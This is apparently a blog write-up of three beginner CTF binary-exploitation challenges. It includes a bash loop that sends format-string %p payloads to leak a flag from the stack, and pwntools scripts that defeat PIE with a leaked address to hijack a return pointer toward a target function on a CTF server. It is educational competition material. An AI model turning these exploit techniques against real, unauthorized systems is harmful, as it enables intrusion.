Pwn Challenges writeup — RVCExIITB CTF

Febin
7 min readJun 15, 2024

--

Hello PWNers, This is a walkthrough article for the binary exploitation/PWN challenges from RVCExIITB CTF competition.

There were only three beginner level PWN challenges in the CTF.

Let’s jump in to the walkthrough,

The Baker 1

Random Input Fuzzing

A single ELF binary was given in this challenge. Upon executing the binary on my linux machine, it was asking for a ‘flag.txt’ file in the same directory.

So I placed a dummy flag.txt inside the same directory.

Now, upon running the binary, all I could see was 3 questions asked by the program. So there is 3 user input required by the program.

After playing around with the binary to find any buffer overflow by some random input, I got the flag when I did something like incrementing the length of my random input for each input. For the first input, I gave the program 50 a’s and for the next 2 input I gave it 60 and 70 a’s. The program gave me the flag straightaway.

Tested this on the remote CTF server and got the original flag.

Baker 2

Format String + Memory Leak

Similar to the previous challenge, I created a dummy flag.txt and placed it inside the same directory as the challenge binary.

The program requires only one input from the user and the input is directly printed out to the standard output.

I tried long user input hoping for crash / SEGFAULT, but the program didn’t crash.

Since the program prints whatever I gave as input, I immediately thought of Format string memory leak bug. So I tried putting some %p to the input hoping for memory leak.

Note: %p is a format specifier supported by functions like printf to print values in the form of memory address/pointer in hexadecimal format.

As I thought, there is a format string memory leak bug in the program.

Upon inspecting the binary further more on GDB, I found out that the binary loads the flag.txt before the memory-leak vulnerable function. The vulnerable function’s name itself is ‘vulnerable’.

There are 3 functions defined in the binary: main. read_flag, vulnerable.

  • read_flag() function loads the flag.txt and stores the flag in stack
  • vulnerable() function is the function that accepts user-input and is vulnerable to format string bug.
  • main() function is the main function of the program, it calls read_flag() first and vulnerable() function last.

I made sure that the flag.txt content is somewhere inside the stack by running the program in GDB, pausing it’s execution and searching for the dummy flag content.

Now it’s time to leak the flag using the format string memory leak bug. For that we must find the right offset of the flag inside the stack.

To do that, I created a small script to find at which offset the program leaks the flag.

#!/bin/bash

for i in $(seq 100)
do
echo "Offset $i : %$i\$p" | ./challenge
done

I ran the script against the challenge binary and used grep to filter only hex digits “47414c46” which means “GALF” in ASCII (FLAG in reverse because of little endianness).

The first 8 bytes of the flag is at offset 40, the next 8 bytes would be at 41.

I used python to convert hex to bytes and flip the little endianness to original form.

Paranoid

Classic stack buffer overflow + Ret2Win

There’s one challenge binary, executing it gave me a blob of text along with a memory leak and a user-input point. I believe that the leak is from the binary, and hope I can use it to bypass PIE.

Let’s run checksec against the binary to know the protections on the challenge binary.

NX and PIE are enabled, but there’s no Stack Cookie/Canary in place.

Let’s open the program on GDB and inspect,

There are 5 functions defined in the program. The main function of the program calls the banner function and temp_loc function.

The banner function looks like printing the YCF banner and the temp_loc function looks like is printing the other stuff to the output and asks for user input.

Let’s run the program under gdb and examine the memory leak it provided,

Looks like the leaked memory address is the address of the temp_loc function and it is obviously from the binary itself, so we can use the leak to bypass PIE.

Now let’s move on to the next step, try to find if there’s an overflow by supplying a big chunk of text to the program hoping it to crash.

Supplying the large input in a cyclic pattern will help you to identify the right offset where the program crashes.

Got a SEGFAULT, that means the program has been crashed and there should be an overflow/memory corruption.

The return pointer got overwritted by 0x626161616161617a which was from the large chunk of text I supplied to the program.

The return pointer / RIP got overwritten by the the user input exactly at offset 200.

I first created an exploit that calculates the binary’s base address from the leak and redirect the execution of the binary to the “real_loc” function using the buffer overflow.

from pwn import *

elf = context.binary = ELF("./challenge",checksec=False)

context.log_level = 'error'

proc = process()

proc.recvuntil(b"A.M: ")

leak = proc.readline().strip(b"\n")

#print(leak)

binleak = int(leak, 16)

#print(hex(binleak))

base = binleak - 0x1343

real_loc = base + 0x131e # Address of the real_loc() function from base address

payload = cyclic(200) + p64(real_loc) # Overflow to redirect execution

proc.sendline(payload)

print(proc.recvall().decode())

Upon running the exploit, the control flow was successfully hijacked to execute real_loc function but it didn’t give the flag.

I tweaked my exploit a little bit to make the program execute the other function safe_house.

from pwn import *

elf = context.binary = ELF("./challenge",checksec=False)

context.log_level = 'error'

proc = process()

proc.recvuntil(b"A.M: ")

leak = proc.readline().strip(b"\n")

#print(leak)

binleak = int(leak, 16)

#print(hex(binleak))

base = binleak - 0x1343

safe_house = base + 0x000000000000125a # Address of the safe_house() function from base address

payload = cyclic(200) + p64(safe_house) # Overflow to redirect execution

proc.sendline(payload)

print(proc.recvall().decode())

Yay! The exploit worked locally and gave me the dummy flag. Safe_house was the real solution.

Now, it’s time to exploit the binary remotely and read the original flag.

from pwn import *

elf = context.binary = ELF("./challenge",checksec=False)

context.log_level = 'error'

#proc = process()
proc = remote("rvcechalls.xyz", 25710) # Connect to remote server

proc.recvuntil(b"A.M: ")

leak = proc.readline().strip(b"\n")

#print(leak)

binleak = int(leak, 16)

#print(hex(binleak))

base = binleak - 0x1343

safe_house = base + 0x000000000000125a # Address of the safe_house() function from base address

payload = cyclic(200) + p64(safe_house) # Overflow to redirect execution

proc.sendline(payload)

print(proc.recvall().decode())

But there’s a new roadblock appeared when trying to read the flag remotely. The execution redirected to safe_house() function but the flag content was missing in the output from the remote server.

The solution was right but I was not sure what is the issue with printing flag. After some digging, I got the flag by tweaking the address of safe_house in the exploit from base + 0x125a to base + 0x125b.

from pwn import *

elf = context.binary = ELF("./challenge",checksec=False)

context.log_level = 'error'

#proc = process()
proc = remote("rvcechalls.xyz", 25710) # Connect to remote server

proc.recvuntil(b"A.M: ")

leak = proc.readline().strip(b"\n")

#print(leak)

binleak = int(leak, 16)

#print(hex(binleak))

base = binleak - 0x1343

safe_house = base + 0x000000000000125b # Address of the safe_house() function from base address

payload = cyclic(200) + p64(safe_house) # Overflow to redirect execution

proc.sendline(payload)

print(proc.recvall().decode())

Upon running the final exploit gave me the flag.

Thanks for reading!

Febin

--

--

Febin

CEH | CEH(Master) | eJPT | OSCP | CRTP |CyberSecurity Enthusiast | Security Researcher | Bug Hunter | Always seeks for knowledge